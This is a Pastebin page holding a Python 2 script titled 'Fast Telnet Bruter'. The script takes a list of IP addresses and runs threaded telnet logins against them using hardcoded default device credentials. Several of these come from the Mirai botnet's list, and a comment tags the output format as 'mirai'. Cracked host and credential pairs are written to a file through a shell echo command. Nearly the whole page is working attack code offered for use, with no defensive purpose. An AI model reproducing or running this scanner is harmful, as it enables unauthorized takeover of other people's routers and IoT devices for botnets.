Advertisement
mysql_Anarchy

[ PYTHON ] Fast Telnet Bruter

Jun 3rd, 2018
1,335
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.77 KB | None | 0 0
  1. #Fast Telnet Bruted
  2. import threading
  3. import sys, os, re, time, socket
  4. from Queue import *
  5. from sys import stdout
  6.  
  7. if len(sys.argv) < 4:
  8.     print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  9.     sys.exit()
  10.  
  11. combo = [
  12.     "support:support",
  13.     "root:vizxv",
  14.     "root:xc3511",
  15.     "telnet:telnet",
  16.     "root:root",
  17.     "supervisor:zyad1234",
  18.     "root: ",
  19.     "admin:1234",
  20.     "user:user",
  21.     "root:antslq",
  22.     "admin:admin",
  23.     "root:5up"
  24. ]
  25.  
  26. ips = open(sys.argv[1], "r").readlines()
  27. threads = int(sys.argv[2])
  28. output_file = sys.argv[3]
  29. queue = Queue()
  30. queue_count = 0
  31.  
  32. for ip in ips:
  33.     queue_count += 1
  34.     stdout.write("\r[%d] Added to queue" % queue_count)
  35.     stdout.flush()
  36.     queue.put(ip)
  37. print "\n"
  38.  
  39.  
  40. class router(threading.Thread):
  41.     def __init__ (self, ip):
  42.         threading.Thread.__init__(self)
  43.         self.ip = str(ip).rstrip('\n')
  44.     def run(self):
  45.         username = ""
  46.         password = ""
  47.         for passwd in combo:
  48.             if ":n/a" in passwd:
  49.                 password=""
  50.             else:
  51.                 password=passwd.split(":")[1]
  52.             if "n/a:" in passwd:
  53.                 username=""
  54.             else:
  55.                 username=passwd.split(":")[0]
  56.             try:
  57.                 tn = socket.socket()
  58.                 tn.settimeout(8)
  59.                 tn.connect((self.ip,23))
  60.             except Exception:
  61.                 tn.close()
  62.                 break
  63.             try:
  64.                 hoho = ''
  65.                 hoho += readUntil(tn, "ogin:")
  66.                 if "ogin" in hoho:
  67.                     tn.send(username + "\n")
  68.                     time.sleep(0.09)
  69.             except Exception:
  70.                 tn.close()
  71.             try:
  72.                 hoho = ''
  73.                 hoho += readUntil(tn, "assword:")
  74.                 if "assword" in hoho:
  75.                     tn.send(password + "\n")
  76.                     time.sleep(0.8)
  77.                 else:
  78.                     pass
  79.             except Exception:
  80.                 tn.close()
  81.             try:
  82.                 prompt = ''
  83.                 prompt += tn.recv(40960)
  84.                 if ">" in prompt and "ONT" not in prompt:
  85.                     success = True
  86.                 elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  87.                     success = True             
  88.                 else:
  89.                     tn.close()
  90.                 if success == True:
  91.                     try:
  92.                         os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  93.                         print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  94.                         tn.close()
  95.                         break
  96.                     except:
  97.                         tn.close()
  98.                 else:
  99.                     tn.close()
  100.             except Exception:
  101.                 tn.close()
  102.  
  103. def readUntil(tn, string, timeout=8):
  104.     buf = ''
  105.     start_time = time.time()
  106.     while time.time() - start_time < timeout:
  107.         buf += tn.recv(1024)
  108.         time.sleep(0.01)
  109.         if string in buf: return buf
  110.     raise Exception('TIMEOUT!')
  111.  
  112. def worker():
  113.     try:
  114.         while True:
  115.             try:
  116.                 IP = queue.get()
  117.                 thread = router(IP)
  118.                 thread.start()
  119.                 queue.task_done()
  120.                 time.sleep(0.02)
  121.             except:
  122.                 pass
  123.     except:
  124.         pass
  125.  
  126. for l in xrange(threads):
  127.     try:
  128.         t = threading.Thread(target=worker)
  129.         t.start()
  130.     except:
  131.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement